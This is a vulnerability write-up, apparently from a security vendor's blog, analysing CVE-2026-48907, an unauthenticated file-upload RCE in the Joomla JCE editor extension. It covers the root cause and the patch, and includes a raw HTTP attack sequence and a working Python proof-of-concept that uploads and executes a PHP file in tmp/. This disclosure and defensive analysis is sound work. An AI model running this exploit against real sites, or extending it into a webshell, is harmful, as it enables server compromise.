CVE-2026-48907 is a critical unauthenticated remote code execution (RCE) vulnerability affecting Joomla Content Editor (JCE) extension up to version 2.9.99.4.
According to mysites.guru, JCE is the most popular Joomla editor and one of the most installed Joomla extensions. Given its widespread adoption, such a low complexity pre-auth RCE deserved particular attention from our vulnerability research team. This article provides both a complete patch analysis and an original proof-of-concept.
The flaw allows attackers to create fake editor profiles without authentication and abuse the profile import functionality to upload and execute arbitrary PHP code on the server. Because it requires no authentication or user interaction and leads directly to remote code execution, the issue was assigned a CVSS v4 score of 10.0 (Critical).
The issue was fixed in JCE 2.9.99.5 (released in early June 2026), with additional hardening and security fixes in 2.9.99.6.
Users are strongly advised to upgrade to >= 2.9.99.6.
Root cause analysis
The JCE (Joomla Content Editor) extension exposes a profile import endpoint (/index.php?option=com_jce&task=profiles.import). Profiles are XML documents that describe toolbar rows, enabled plugins, upload policies, etc. Administrators can export a profile to XML and later re-import it on another installation. The import flow is:
1POST /index.php?option=com_jce&task=profiles.import2 ↓3JceControllerProfiles::import() (controller/profiles.php)4 ↓5JceModelProfile::import() (models/profile.php)6 ↓ moves uploaded file to $tmp_path/$name7JceProfilesHelper::import($file) (helpers/profiles.php)8 ↓ parses XML, inserts profile rows into DB
In versions prior to 2.9.99.5, this endpoint can be reached by a completely unauthenticated attacker. By crafting a multipart request that passes a weaponised PHP file as the "profile upload", an attacker can drop an executable webshell under tmp/ and immediately trigger it over HTTP – achieving Remote Code Execution (RCE) with no credentials whatsoever. The vulnerability is a chain of three independent weaknesses that must all be present simultaneously; removing any one of them would have broken the chain. The 2.9.99.5 patch addresses all three.
Weakness 1: Missing Authorization on the Import Action
Before the patch, JceControllerProfiles::import() read:
1public function import()2{3 // Check for request forgeries4 Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));56 $app = Factory::getApplication();7 // … straight into file handling8}
The only gate was a CSRF token check. Joomla embeds the session token in every public page, including the site homepage, as a hidden form field or a JavaScript variable:
1<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />2<!-- or -->3"csrf.token":"abcdef1234567890abcdef1234567890"
The CSRF check only prevents cross-site form submissions from a different origin; it does not prevent a direct, scripted request from an attacker who harvests the token themselves. profiles.import has no call to Factory::getUser() and no $user->authorise(...) check. Any caller with a valid (trivially obtainable) CSRF token can invoke it.
Weakness 2: No File-Extension Validation
Once past the CSRF gate, JceModelProfile::import() handles the upload:
1$file = $app->input->files->get('profile_file', null, 'raw');23// check for valid uploaded file4if (!is_uploaded_file($file['tmp_name'])) { return false; }56// sanitize the file name7$name = File::makeSafe($file['name']);89if (empty($name)) { return false; }1011// Build the appropriate paths.12$destination = $config->get('tmp_path') . '/' . $name;13$source = $file['tmp_name'];1415// Move uploaded file.16File::upload($source, $destination, false, true);
File::makeSafe() strips characters that are illegal in filenames on most operating systems (spaces, null bytes, shell metacharacters). It does not inspect or restrict the file extension. A filename like nuclei-deadbeef.xml.php passes through it untouched – it is perfectly "safe" from a filesystem perspective.
There was no subsequent check that the extension was .xml. Any extension was accepted, including .php, .php5, .phtml, and double-barrelled extensions like .xml.php (which Apache's mod_php will happily execute because the last component it recognises is .php).
Weakness 3: File::upload Called with $allow_unsafe = true
This is the decisive enabler. Joomla's File::upload() signature is:
1File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)
When $allow_unsafe is false (the default), Joomla applies an internal blacklist of dangerous extensions (.php, .php3–.php7, .phtml, .exe, etc.) and renames or rejects the file if it matches.
The vulnerable code passed true as the fourth argument:
1File::upload($source, $destination, false, true); // allow_unsafe = TRUE
This explicitly disabled Joomla's built-in extension safety net. Even if someone had relied on it as a second line of defence, it was switched off. The file was moved to tmp/ with its original .xml.php extension intact, readable and executable by the web server.
Full attack flow
1① GET /2 ← extract csrf_token from HTML/JS34② POST /index.php?option=com_jce&task=profiles.import5 Content-Type: multipart/form-data67 --boundary8 Content-Disposition: form-data; name="task"9 profiles.import10 --boundary11 Content-Disposition: form-data; name="<csrf_token>"12 113 --boundary14 Content-Disposition: form-data; name="profile_file";15 filename="nuclei-<hash>.xml.php"16 Content-Type: application/xml1718 <?= 45*69 ?>19 --boundary--2021 ← 200 OK (file written to /var/www/html/tmp/nuclei-<hash>.xml.php)2223③ GET /tmp/nuclei-<hash>.xml.php24 ← response body: "3105" (45 × 69 = 3105 → RCE confirmed)
No session cookie. No username. No password. Three HTTP requests.
Patch analysis (version 2.9.99.5)
The patch closes all three weaknesses and adds two extra hardening layers.
Fix 1: authorisation check on every administrative action
controller/profiles.php — import() (and every other sensitive action):
1$user = Factory::getUser();23if (!$user->authorise('core.manage', 'com_jce')) {4 throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);5}
Unauthenticated (guest) users have id = 0 in Joomla's ACL system; authorise('core.manage', 'com_jce') returns false for them immediately, short-circuiting the request before any file handling occurs.
The same pattern was applied to controller/profile.php via the MVC hooks allowAdd() and allowEdit().
Fix 2: strict extension whitelist before upload
models/profile.php:
1$extension = PATHINFO($name, PATHINFO_EXTENSION);23if (strtolower($extension) !== 'xml') {4 $app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');5 return false;6}
PATHINFO_EXTENSION returns only the last component after the final dot. For evil.xml.php it returns php – not xml – so the check fails and the upload is rejected. This also neutralises multi-extension tricks like .php5 or .phtml.
Fix 3: drop the $allow_unsafe flag
1// before2File::upload($source, $destination, false, true);34// after5File::upload($source, $destination, false);
With $allow_unsafe defaulting to false, Joomla's internal extension blacklist is re-engaged. This is an independent layer of defence: even if a future code path somehow bypasses the explicit .xml check above, the file upload itself will refuse to write executable extensions to disk.
Fix 4: size limit
1if ($file['size'] > 1024 * 512) {2 $app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_ERROR'), 'error');3 return false;4}
Caps uploads at 512 KB, limiting the payload size an attacker can deliver.
Fix 5: XXE protection during XML parsing
helpers/profiles.php:
1if (PHP_MAJOR_VERSION < 8) {2 $prev = libxml_disable_entity_loader(true);3}4$xml = simplexml_load_string($data);5if (PHP_MAJOR_VERSION < 8) {6 libxml_disable_entity_loader($prev);7}
PHP 8+ disables external entity loading by default; this guard backports the protection to PHP 7.x installations, preventing XXE attacks through the profile XML parser.
Fix 6: XML field allowlist
1$allowedKeys = ['name', 'description', 'users', 'types', 'components',2 'area', 'device', 'rows', 'plugins', 'published',3 'ordering', 'params'];45foreach ($profile->children() as $item) {6 $key = $item->getName();7 if (!in_array($key, $allowedKeys, true)) {8 continue;9 }10 // …11}12
Even if a malicious XML file slips through, only a fixed set of known-good field names are processed. Arbitrary XML keys are silently ignored, limiting the blast radius of any future parser-level issue.
Proof of Concept (PoC)
The original PoC by Webshell Security Researchers exploits the missing authentication on "task":"profiles.import" handler to obtain a full-featured profile and subsequently try to upload various webshells and GIF polyglots looking for combos where PHP code is interpreted server-side. Testing it today on a joomla:latest official docker image with JCE v2.9.99.4 installed doesn’t reveal an exploitable location/format: non GIF get silently rejected, and GIF-PHP polyglots aren’t interpreted. So despite an easy leveraged unauthenticated file upload we weren’t able to reproduce it as is.
However, as shown above, there exists a straightforward alternative path: the profile import feature accepts any file with any format, any extension and any content. Even though broken formats will result in "0 Profile(s) imported successfully" , the response is 200 and the file is temporarily staged to Joomla’s tmp/ directory. Unfortunately, a default Joomla install (e.g. via official docker without further apache configuration hardening) allows public access to all files under /tmp with PHP execution. This turns the missing authentication on the profile import handler into a trivially exploitable pre-auth RCE.
The following python script shows the three simple steps required to trigger the RCE (without harm):
1from random import randint2import re3from time import sleep4from requests import Session56# Put target URL here7URL = "http://localhost:9999"89# This file will be uploaded to tmp/ folder and executed if the vulnerability is present10TMP_FILE = f"cve-2026-48907-{randint(1000, 9999)}.xml.php"11PAYLOAD = "<?= 45*69 ?>\n"1213s = Session()1415# Grab CSRF token from the main page16r = s.get(URL + "/")17if r.status_code != 200:18 print("[-] Failed to access the target")19 exit(1)2021m = re.search(r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"', r.text) or re.search(22 r'<input[^>]*name="([a-f0-9]{32})"[^>]*value="1"', r.text, re.I23)24if m is None:25 print("[-] Failed to find CSRF token")26 exit(1)2728CSRF_TOKEN = m.group(1)293031# Import a fake profile containing our payload, it will be saved in tmp/ folder32r = s.post(33 URL + "/index.php?option=com_jce",34 files={"profile_file": (TMP_FILE, PAYLOAD, "application/xml")},35 data={"task": "profiles.import", CSRF_TOKEN: "1"},36)37if r.status_code != 200:38 print("[-] Failed to import profile")39 print("\033[92m[✓] Not vulnerable to cve-2026-48907\033[0m")40 exit(1)4142print(r.text)43sleep(0.3)444546# Try to get our php payload executed from tmp/ folder47r = s.get(URL + f"/tmp/{TMP_FILE}")48print()49print(">>", r.text)50print()5152if r.text.strip() == f"{45 * 69}":53 print(54 "\033[91m[!!!!!] PHP payload was executed ! Server is vulnerable to cve-2026-48907 !\033[0m"55 )56else:57 print(58 "\033[92m[✓] Not vulnerable to cve-2026-48907 or php execution from tmp/ folder is disabled\033[0m"59 )60
A full reproduction lab is available here.
Find a related public Nuclei template here.
Summary of vulnerability
CVE-2026-48907 is the result of a chained design failure in the JCE profile import workflow, combining missing authorization, insufficient file validation, and disabled upload safety controls. Together, these issues allow unauthenticated attackers to upload and execute arbitrary PHP code via the /tmp directory, leading to pre-auth RCE in default or weakly hardened Joomla deployments.
The vulnerability is fully addressed in JCE 2.9.99.5 and later, with additional hardening in 2.9.99.6.
Recommendations
- Immediate upgrade to JCE >= 2.9.99.6.
- Restrict web access to
/tmp/and prevent PHP execution in temporary directories at the web server level, to prevent any future similar flaw. - Enable WAF rules or request filtering for
com_jce&task=profiles.import.
Outpace the next exploit
This recent CVE serves as a stark reminder: no software is completely foolproof, not even mature, proven platforms.
Threat actors are remarkably efficient at turning newly disclosed flaws into active exploits. Because the window between a vulnerability being announced and it being abused is tighter than ever, speed in your security response is paramount.
Don't wait for the next CVE to catch you off guard. Here's how we help:
- Get a comprehensive view of your internet-facing assets such as web applications, APIs and cloud infrastructure
- Identify the vulnerabilities that matter most: trending CVEs, misconfigurations and subdomain takeovers. Stay ahead of mass exploitation campaigns with our curated checkpoint
- Cut through the noise with high-value findings and automatically prioritised risks
Check out our Autonomous Pentest solution to gain visibility of your entire attack surface and uncover dangerous, exploitable vulnerabilities.



